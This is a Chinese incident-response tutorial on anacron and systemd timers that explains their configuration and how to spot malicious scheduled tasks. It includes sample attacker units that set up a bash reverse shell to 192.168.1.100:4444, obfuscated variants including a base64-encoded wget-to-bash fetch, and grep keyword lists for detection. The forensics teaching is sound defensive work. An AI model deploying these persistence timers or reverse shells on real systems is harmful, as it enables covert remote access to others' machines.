【应急响应】Linux 计划任务与 DFIR 排查实践(三)
原创 Y1x1n Y1X1n安全 2024年11月29日 07:04
免责声明
本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。
🔖 在上两节【linux应急响应】Linux 计划任务与 DFIR 排查实践(一)、【应急响应】Linux 计划任务与 DFIR 排查实践(二)中,我们深入探讨了 cron 、at服务,从基础排查到隐藏任务的分析排查,这一节我们再一块看看anacron和Systemd Timers服务。
一、anacron 服务
1.1 工作机制
设计用于非全天候运行的系统,保证错过的任务会在系统恢复后运行。
Anacron 会检查每个任务的运行周期和上次运行的时间戳。
如果任务未按计划执行,它将在系统启动后立即补执行任务。
默认配置文件位于 /etc/anacrontab。
/var/spool/anacron/,存储任务状态的目录,它包含的文件记录了最近一次执行每类任务的时间戳。/var/spool/anacron/ 中记录的时间戳对应 PERIOD 字段,确保任务不会重复执行。
1.2 配置文件示例
PERIOD DELAY IDENTIFIER COMMAND
1 5 cron.daily run-parts /etc/cron.daily
字段解释:
PERIOD:任务的执行周期,单位为“天”。
1 表示该任务每天执行一次。
如果是 7,则表示任务每周执行一次。
如果是 30,则任务每月执行一次。
DELAY:延迟时间,单位为“分钟”。
表示任务在指定周期触发后,等待多久再执行。
示例中 5 意味着 Anacron 会在系统开机后 5 分钟执行该任务。
IDENTIFIER:任务的标识符(名称)。
用于日志记录和跟踪。
示例中的 cron.daily 是任务的名称,与相关目录 /etc/cron.daily 保持一致。
COMMAND:需要执行的命令。
示例中 run-parts /etc/cron.daily 是一个常用的工具,它会递归执行 /etc/cron.daily 目录中的所有脚本文件。
1.3 常用命令
- 查看 anacron 任务列表
grep -v '^#' /etc/anacrontab
显示 /etc/anacrontab 文件中所有非注释的行,即所有 anacron 的任务列表。
2. 编辑 anacron 任务
sudo crontab -e
或者直接编辑 /etc/anacrontab 文件:
sudo nano /etc/anacrontab
用于编辑 anacron 的任务列表。
- 手动运行 anacron 任务
sudo anacron -s
以静默模式运行 anacron,不发送邮件报告。
- 查看 anacron 日志
grep anacron /var/log/syslog
grep anacron /var/log/messages
1.4 排查方法🎯
检查配置文件:
cat /etc/anacrontab
ls -l /etc/cron.{daily,weekly,monthly}
关注点
:
是否有异常脚本被添加到:/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly。
检查是否有非系统常见任务,如未知文件或脚本。
🔖注:
cron 和 anacron 都使用 /etc/cron./,但处理方式不同:
/etc/cron.hourly/:仅由 cron 调度。
/etc/cron.daily/、/etc/cron.weekly/ 和 /etc/cron.monthly/:可被 cron 和 anacron 使用。
实际归属取决于系统中 cron 和 anacron 的启用情况以及任务调度的时间要求。
搜索敏感关键词
扫描 anacron 相关目录中的脚本是否包含恶意命令或行为模式:
grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|eval|exec|chmod|chown|mkfifo|tcpdump)" /etc/cron.*/* /etc/anacrontab
关键词
:涵盖了可能被攻击者用于渗透、反向连接、数据传输或隐藏恶意操作的命令。
查看任务日志:
grep 'anacron' /var/log/syslog # Ubuntu、Debian 等默认使用
grep 'anacron' /var/log/messages # CentOS、RHEL 等默认使用
同时:
grep 'anacron' /var/log/syslog /var/log/messages
关注点
:
是否有异常任务的执行记录。
是否有未知用户触发 anacron。
检查最近的任务修改
确认 anacron 的配置文件或关联任务脚本最近是否被修改过:
find /etc/cron.* /etc/anacrontab -type f -mtime -7 -ls
输出分析
:
查看是否有任务在短时间内被修改。
对修改过的文件使用 diff 或直接阅读其内容。
验证任务完整性
如果系统支持包验证,可以检查相关配置是否被篡改:
rpm -V cronie-anacron
debsums -c cronie-anacron
二、Systemd Timers
2.1 Systemd Timers介绍
Systemd Timers 是 Linux 系统中基于 systemd 的计划任务管理工具,旨在取代传统的 cron。它通过 systemd 的服务管理机制提供更灵活、更强大的计划任务功能。它通过 .timer 单元文件定义定时任务,并结合 .service 单元文件执行具体的操作。
Systemd Timers 的优点
精确控制:支持秒级调度,并能结合 OnBootSec、OnCalendar 等实现复杂的定时规则。
事件驱动:可根据特定事件(如系统启动后)触发任务。
日志与状态追踪:通过 journalctl 记录任务执行日志。
补执行:支持错过的任务自动补执行(类似 anacron)。
核心组件
.timer 文件
:定义任务的调度规则。
.service 文件
:定义任务执行的具体操作。
2.2 Systemd Timers 配置及常用命令
1、配置systemd 定时器
配置一个 systemd 定时器涉及创建两个文件:一个是服务单元文件(.service),另一个是定时器单元文件(.timer
)。
步骤 1
: 创建服务单元文件
创建服务单元文件来定义当定时器触发时要执行的命令。例如,创建一个名为 mytimer.service 的文件:
sudo nano /etc/systemd/system/mytimer.service
在文件中添加以下内容:
[Unit]
Description=My Timer Service
[Service]
Type=oneshot
ExecStart=/usr/bin/echo "Hello, World!" > /tmp/hello.txt
服务执行一个简单的命令,将 "Hello, World!" 写入到 /tmp/hello.txt 文件中。
步骤 2
: 创建定时器单元文件
创建定时器单元文件来定义服务的触发频率。例如,创建一个名为 mytimer.timer 的文件:
sudo nano /etc/systemd/system/mytimer.timer
在文件中添加以下内容:
[Unit]
Description=Run mytimer.service every minute
[Timer]
OnCalendar=*-*-* *:0/1:00:00
Persistent=true
[Install]
WantedBy=timers.target
这里,OnCalendar 设置为*-*-* *:0/1:00:00
表示每分钟触发一次。Persistent=true 表示如果错过了触发时间,系统会在下次启动时尝试补执行。
步骤 3
: 启动定时器并使其在启动时运行
启用并启动定时器:
sudo systemctl enable mytimer.timer
sudo systemctl start mytimer.timer
enable 命令使定时器在系统启动时自动运行,start 命令立即启动定时器。
步骤 4
: 检查定时器状态
检查定时器的状态以确认它是否按预期工作:
sudo systemctl status mytimer.timer
步骤 5
: 查看定时器日志
查看定时器的日志可以帮助你了解服务是否按计划执行:
sudo journalctl -u mytimer.timer
以上步骤创建了一个简单的定时器,它将每分钟执行一次定义在 mytimer.service 中的命令。你可以根据需要调整 ExecStart 和 OnCalendar 的值来执行不同的命令或设置不同的触发频率。
2、查看所有定时器
systemctl list-timers
# 使用 --all 参数,显示包括未激活的定时器。
输出示例:
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2024-11-24 18:00:00 UTC 29min left Sun 2024-11-24 17:00:00 UTC 30min ago backup.timer backup.service
3、启动和停止定时器
启动定时器:
sudo systemctl start <timer-name>.timer
停止定时器:
sudo systemctl stop <timer-name>.timer
4、启用和禁用定时器
启用定时器(开机自动启动):
sudo systemctl enable <timer-name>.timer
禁用定时器:
sudo systemctl disable <timer-name>.timer
2.3 攻击者可能的利用方式
# 创建服务文件
[Unit]
Description=Reverse Shell
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/reverse-shell.service
# 创建定时器文件
[Unit]
Description=Trigger Reverse Shell
[Timer]
OnBootSec=1min
Unit=reverse-shell.service
[Install]
WantedBy=timers.target" > /etc/systemd/system/reverse-shell.timer
# 启用并启动定时器
sudo systemctl enable reverse-shell.timer
sudo systemctl start reverse-shell.timer
2.4 排查方法
- 检查非标准定时器
列出所有定时器,重点关注用户定义的 .timer
:
systemctl list-timers --all
注意排查未启用或已禁用但仍存在的定时器。
- 排查 .timer 和 .service 文件
检查 /etc/systemd/system/ 和 /usr/lib/systemd/system/ 目录下是否存在可疑文件。通常 /usr/lib/systemd/system/ 存放系统自带的 .service 和 .timer,而 /etc/systemd/system/ 是用户或管理员配置的文件。
重点关注
:
ExecStart 中是否包含恶意命令。
OnCalendar 是否设置为非常频繁的触发时间。
- 检查新建文件
通过文件时间戳找到最近创建或修改的 .timer 和 .service 文件:
find /etc/systemd/system/ /usr/lib/systemd/system/ -type f -name "*.timer" -o -name "*.service" -mtime -7
- 检查用户定时器
用户级别的 systemd 定时器,检查用户定时器目录:
ls ~/.config/systemd/user/
- 查找关键字显示文件名和匹配行号:
grep -Ein "(curl|wget|bash|python|nc|perl)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
增强版:
grep -Ei "(curl|wget|bash|python|nc|perl|scp|ftp|rsync|tar|gzip|7z|ssh|telnet|socat|base64|eval|exec|nohup)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
- 查看文件修改时间:
stat /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/*
关于 Systemd Timers 的隐藏手法,和上一节 cron 类似,这就简单介绍:
1、文件名混淆
通过选择与系统或常见服务类似的文件名进行伪装 ,如sys-update.timer、kernel-cleanup.timer 或 backup.timer。
加入难以察觉的字符,如使用 Unicode 类似字符(如 sуstem.timer,其中的“у”为西里尔字母)。
2、文件路径隐藏
可能存放在非标准目录中,例如:
用户级别路径:~/.config/systemd/user/
隐藏目录:/etc/.systemd/ 或 /var/.system/
📌排查:
使用 find 命令递归检查可疑路径:
find /etc /usr /var -type f -name "*.timer" -o -name "*.service" -iname ".*"
检查用户目录中的定时器:
ls -la ~/.config/systemd/user/
3、 结合环境变量绕过检测
攻击者可能通过 EnvironmentFile 加载恶意配置文件,或直接在服务中嵌入动态环境变量。例如:
EnvironmentFile=/etc/sysconfig/malicious.env
ExecStart=/bin/bash -c "$CMD"
其中,malicious.env 文件可能包含如下内容:
CMD='bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
📌排查:
检查定时器或服务文件是否引用外部配置文件。
搜索环境变量的关键字:
grep -Er "EnvironmentFile|Env" \
/etc/systemd/system/ \
/usr/lib/systemd/system/ \
/lib/systemd/system/ \
~/.config/systemd/user/ \
~/.local/share/systemd/ \
/var/lib/systemd/ \
2>/dev/null
4.混淆命令
通过混淆执行命令来绕过关键字检测:
使用 base64 编码
:
ExecStart=/bin/bash -c "$(echo d2dldCAtTyBodHRwOi8vZXZpbC5jb20gfCAvYmluL2Jhc2ggLWk= | base64 -d)"
利用符号替换
:
ExecStart=/bin/bash -c "/bin/ba$'\x73'h -i >& /dev/tcp/192.168.1.100/4444 0>&1"
小结
随着我们对 anacron 和 systemd timers 的探讨告一段落,本系列文章也接近尾声。掌握这些计划任务工具的原理和排查方法对于 DFIR 实践至关重要。